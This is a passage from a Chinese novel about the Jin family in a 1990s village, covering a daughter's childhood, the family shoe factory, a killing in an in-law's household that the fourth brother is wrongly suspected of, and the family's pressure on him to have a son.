他明知道,那鸡蛋握在他手心里,不掰开是拿不走的,但是他这个做哥哥的,咋也不能狠心到,因为弟弟偷吃了他的鸡蛋,就把他揍一顿。 再说就别说是偷,就是当着面的管他要,他也是要给的。 所以,老五啥样人儿,金光耀心里最清楚了。可老严头这事儿,就像小时候偷他鸡蛋似的,就是找过去了,他也抬不起来那手,张不开那嘴。 这事儿也就不了了之。 等到下次金光耀出去跑业务,老五屁颠屁颠地跟着,他这个当二哥的,还不是得带着? 16. 90年代 岁月就在过年时放鞭炮捂着耳朵的孩子们身上走过,时光就在蜻蜓挥动的透明翅膀上飞过。 金秋在姥姥姥爷的陪伴下,快乐地生长着。 金光耀和白小双依旧没日没夜地忙着,但是只要有姥姥姥爷在,金秋都是快乐的。虽然她时不时地还会搞一些恶作剧,例如关灯睡觉后,突然故意大声地唱歌,吓他们一跳也好;生气时,任性地把西瓜摔在地上也好。小孩子们最能敏锐地感知情感,她知道她不必在他们面前拘谨,因为不管怎么闹,他们都爱她。 小学的暑假,金秋和哥哥都是和姥姥姥爷一起度过的。姥姥会顿顿给她做西红柿青椒做的酸辣汤,辣得饭没吃完,就跳窗户去摘黄瓜吃,嘴麻麻的加上太阳晒,让她记忆中小时候的夏天总是火辣辣地。 白老爷子虽然70多岁了,可每天都下地干活儿。春种秋收,前后园子所有的农活儿也没有压垮老爷子的腰板,走到哪儿都是溜直的。 金秋和哥哥最喜欢的做事情就是捉弄姥爷了。园子50米开外有条小河,挨着老耿家那面,兄妹俩一人拿个水壶,负责提水浇苗,然后再把土盖上。可干着干着,兄妹俩就把水浇到哈腰栽苗的姥爷头上了,每次一听到姥爷假装吓唬人的“嗨嗨”上,兄妹俩就笑着跑开了。 “蜻蜓蜻蜓落,你家在草垛,草垛一开花儿,你妈就回家。” 金秋一边唱着一边把两个手指比成V型,等待着蜻蜓落到她的指尖,蜻蜓一旦落上去,她迅速用另一只手指,死死地夹住蜻蜓的腿。 这种捉蜻蜓的技巧是姥爷教给她的,她练了一个夏天才练会。虽然这比用蜘蛛网来套蜻蜓慢得多,但这种徒手抓蜻蜓的技巧,在朋友们当中只有她会,这让她很荣耀。 金秋的小皮鞋都是爸爸妈妈给做的,这是她在同学们面前最值得骄傲的一件事。她会亲自选红色亮亮的那种皮料,看着妈妈亲自用纸壳给她剪出一张张鞋样,剪出皮料后,她会跑跳着拿给匝帮的刘姨,求她先把她的鞋料匝好。 鞋厂的叔叔阿姨们都喜欢金秋,大大的眼睛,棕黑的眼珠,一张白皙的小瓜子脸,更显得她精灵古怪的可爱,她还是个爱说话会撒娇的性子,把白小双的长相和性格都很好地继承下来。 虽然鞋厂是不生产小孩鞋的,但是爱女心切的金光耀进鞋楦时,还是把女儿脚大小的鞋楦给背了几双回来。 自己的小鞋生产过程中的任何一个环节,金秋都不会错过。她要看着陈姨用打孔器在蝴蝶结边缘打出小孔,再把可爱的小蝴蝶结钉在鞋头上;看着王姨把一颗颗小钉子钉到鞋楦上;看着黄叔叔把鞋底牢固地粘好,再用锤子叮叮当当锤一番,她还特意叮嘱黄叔叔轻点儿,别弄皱了鞋头上漂亮的蝴蝶结。 她的小鞋在烘烤间烘烤时,是她最难以忍受的时候。无可奈何地上床去睡觉,第二天一早工人还没上班,金秋就催着爸爸把鞋楦拔.出来。耐着性子,总算等到爸爸喷完亮亮的漆后,金秋就迫不及待地穿起来了。 每次金秋穿新鞋子的时候,都是鞋厂工人们最开心的时候,因为他们会看到一只脚不敢回弯的“小鸭子”,在院子里走来走去,她哥金山更是会笑到直不起腰来。 金秋虽然穿上了任谁买都买不到的,独一无二的新皮鞋,心里和脸上都乐开了花,可她却因此很累。她走路直着走,脚不敢回弯,怕把她的新鞋弄出褶儿。不敢和小朋友们漫山遍野地跑,怕刮坏了亮亮的鞋面。 白小双告诉女儿,随便跑吧,鞋子就是用来保护你的脚的。虽然一开始她还是直着脚走路,但是渐渐地,她就又变成那个活蹦乱跳的金秋了。 平淡的日子,就像一汪水,哪能总是波澜不惊的,老天爷总要时不时地往里扔几个石头子儿,或是干脆扔里一块大石头。 老四金光雄家发生了一起凶杀案! 金家哥四个的工厂,因为这件事儿,停工了一天。村里的上空少了机器的轰鸣声,但是却并没有安静下来,金家又再一次成为村里的舆论中心,传得沸沸扬扬的。 被那些村民们说中了,金光雄在城里,给慧娴家当倒插门女婿确实不容易。因为慧娴是跑火车的乘务员,经常不着家,所以他一个大男人,不但要做饭、洗衣干家务,还要照顾傻小叔子。 慧娴的弟弟只比慧娴小两岁,是她家唯一的男孩,可天不遂人愿,偏偏一出生就神精有问题,发病时打人骂人摔东西,每次都是金光雄,从后背抓住他的两只胳膊,压在地上,才能阻止他做出更坏的事情。 慧娴的妈妈还有洁癖,家里地上连个头发丝都不能有,金光雄每次蹲在地上擦地,都想赶快挣钱出去买房子自己住。 但是,这个愿望后来彻底被打消了,因为不需要了。 金光雄和慧娴结婚第5年时,慧娴这个傻弟弟到底做了一件真正的傻事。 半夜睡觉时,他不怎么迷迷瞪瞪,跑到厨房,拿起菜刀,把一个炕上睡着的,老爷子的头给砍了下来。 老太太惊醒后,吓得直接晕死了过去。 金光雄费了好大力气,总算是制服了傻小叔子。听说,警察进了屋,腿都有点哆嗦了,那场面过于血腥和残忍了。 一晚上,救护车和警察的警笛声,响个不停。 金光雄其实在哥几个当中,胆子是最小的,小时候去大河里游泳,他总是最后一个才哆哆嗦嗦地跳进去。 晚上走夜路,他也害怕,总感觉有人跟着他似的。就是晚上起夜,他也总得把大哥推醒,陪着他去窗根底下尿去。 为此,他从小没少遭几个兄弟的笑话。老大总说他: “老四,瞅你那熊样儿,还当兵呢,就你这样的上战场,还不给你直接吓尿裤子了!” 金光雄在部队里干的也不是啥力气活儿,在炊事班打杂的,吃得好,等到退伍了,别人都黑瘦黑瘦的,就他白胖白胖的。 但是那时候,屋子里没别人了,他要是不制止了,下一个没命的恐怕就是他了! 等到警察进屋那功夫,他才一屁股坐在了地上,魂差点儿没吓飞喽! 金光雄制服小叔子后,把小叔子的手用绳子绑上了,外加上手上身上粘得也全是血,所以当时那场面,上哪说得清去,不知道的以为,金光雄这小子,吃了熊心豹子胆了,杀了老丈人,又绑了小叔子呢! 所以,他和小叔子一起被带进了警察局! 四五队这边金老爷子夜里正睡着觉呢,村里时任村长老何,咣咣地敲着老金家的玻璃窗户。金老两口一听,四儿子进了局子了!金老太直接迷糊过去了,金老爷子腿也哆嗦了,一句话说不出来。 金光祖几乎是连滚带爬地,挨家挨户通知。 金秋到现在还记得,她三叔半夜敲她家窗户的情景。 金光耀他家大院大,在大门口喊,就是白天,屋里也不容易听到。金光祖本来就着急,跳墙时,一出溜,从顶上栽下来了,摔个狗啃泥,他也顾不得疼了,一瘸一拐地,就往院里跑。 等到金光耀隔着窗户问:“谁啊?” 金光祖几乎是带着哭腔地喊道: “二哥,是我,老三,你赶紧穿衣服吧,老四出了事儿了,市里警察局打电话到咱村上了,咱们现在就得赶紧走!” 金光耀也吓完了,合计这老四从小就胆小,啥时候胆肥到,到警察局去报道去了? 于是,金家兄弟几个和老爷子,连夜雇车就往市里警察局赶。 到了警察局,等着警察把来龙去脉一讲,大家这悬着的心才渐渐平复下来。但是,当晚老四还不能和他们见面,等到第二天,他们兄弟几个才算是见到面了。 金老四,连惊吓带憋屈,见到老爹和哥几个的面,咋也绷不住了,嚎啕大哭了一场。 金老四的丈母娘昏过去之后,送到医院没多久,醒过来一阵儿,配合了警察的问话,证实了女婿的清白。但是没多久,她就又再次昏了过去。 自己的亲弟弟把自己的老爹害死了,等到慧娴哭着,坐着特快列车赶回来时,见到的是爹的尸体,以及戴着手铐的弟弟,那场面别提多凄惨了。 在金家其他几个媳妇看来,慧娴是高傲的,就因为她那牛气哄哄的老爹,曾经当过市铁路机务段的干部,可谁曾想竟然落得这么个惨死的下场,不由得对她生出几分同情来。 可当金家几个媳妇去赶丧,慧娴憔悴的脸上,依然对她们透着一副爱理不理的神情,让那几个媳妇彻底死了和她结交的心。 “谁让人家是列车长呢,不管啥时候都得绷住架儿,哪能跟咱们农村妇女打成一片呢!” 回四五队的客车上,玲子和老三媳妇杏花嘟囔着,白小双和红喜只安安静静地听着不做声。 金家的五个媳妇,早早的自然就分了派别。咋咋呼呼的玲子和爱打麻将的杏花,天天话题不断,温柔安静的白小双,则和一样稳当的红喜最要好。 慧娴因为住在城里 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为了一雪父亲的前耻,慧娴总是主动跑长途,工作上也格外的认真。虽然她对那帮妯娌们没有好脸色,可列车上永远都带着笑脸。 熬了十年,媳妇都熬成了婆,慧娴终于当上了列成长。 可惜没高兴多久,家里又出了这样一桩丑闻,她的内心就如同被撕裂一般痛苦,对那些来吊唁的亲朋好友,她似乎透过关切的目光看到了他们内心偷笑的恶毒。 自打老丈人过世,金光雄似乎摆脱掉了上门女婿的标签,在家里说话的分量似乎也变重了。 他的第一个决定,就是自己辞职,也不让慧娴再上班。虽然一开始丈母娘和慧娴惊讶地盯着他,以为他疯了,好好的“铁饭碗”说丢就丢,娘俩毫不犹豫地否决了。 金光雄在部队学过马克思主义思想,经济基础决定上层建筑。要想真正成为一家之主,摆脱掉上门女婿的恶名,光靠他每月几十元的死工资是不够的。 辞职后,他跟着二哥金光耀跑了几次省城最大的鞋业批发市场,但是他没张罗着开鞋厂。而是在市里租下一个十多平米的小门脸,卖起高跟鞋来。没曾想,生意越做越好,门市越租越大。慧娴不久也终于怀孕了。可医生说胎像不好,外加上金光雄本来就不想让她再辛苦跑火车了,她也就彻底放弃了工作。 来年春天,金光雄终于有了一个女儿,只是孩子早产,出生时只有4斤。 金老婆子急急忙忙赶到医院,看完孩子,抹着眼泪,跟儿子偷摸说道: “这孩子要是活不下来,你也别上火,证明你命里还是该有儿子!我那阵子,说让你们两口子喝点我那偏方,你们不是都不信吗,非要自己生,哎,我都不想说这话了,行了,我走了!” 说完,老太太也没说是留下帮着照看照看,坐上车就家去了。 等到回了家,她对老头子说道: “哎,你说咱四儿子啥命呢!结婚多少年了不生孩子,等到可下生了,又早产,你都没看到那小胳膊小腿细的啊,都没那狗崽子大,那要是养活了,就怪了!” 老爷子说道: “嘿,这个老四,别看胆子小的跟米粒大似的,那主意才正呢!当时,我说搁农村给他找一个,他偏不干。哼,自己相中的,自己种的果,自己吃。” “哎呀,都这个时候了,还说那过去的事儿有啥用了?我还是上前面老和太太家,给他算一卦,再拿一副偏方,给他们两口子送去吧!” 老太太一边说着,一边就要往外走。金老爷子在后边喊: “整什么整,不用管他那些个事儿,你就整了,人家还能给你吃咋的,多余整那些个事儿!” 老太太像没听着似的,出了院门。 谁也没想到的是,就连医生都觉得,这孩子够呛了,可慧娴硬是和娘家妈,一口一口米汤给喂活了。 金老婆子后悔下断言早了,等到慧娴带女儿回来,她抱着孙女左亲右亲,似乎喜爱的不得了,嘴里还要说着: “哎呦呦,小祖宗,你妈妈费多大劲把你养这么胖乎呦,咱们老金家都得感谢你的妈妈和姥姥呦!” 慧娴脸上并不带着笑,假装没听见似的,一把接过女儿,去了里屋。 这边,金老爷子看儿媳妇走了,贴着四儿子耳朵边说: “老四啊,你看看你的哥哥弟弟们,现在可就你还没儿子呢,儿子是一定得要的啊!”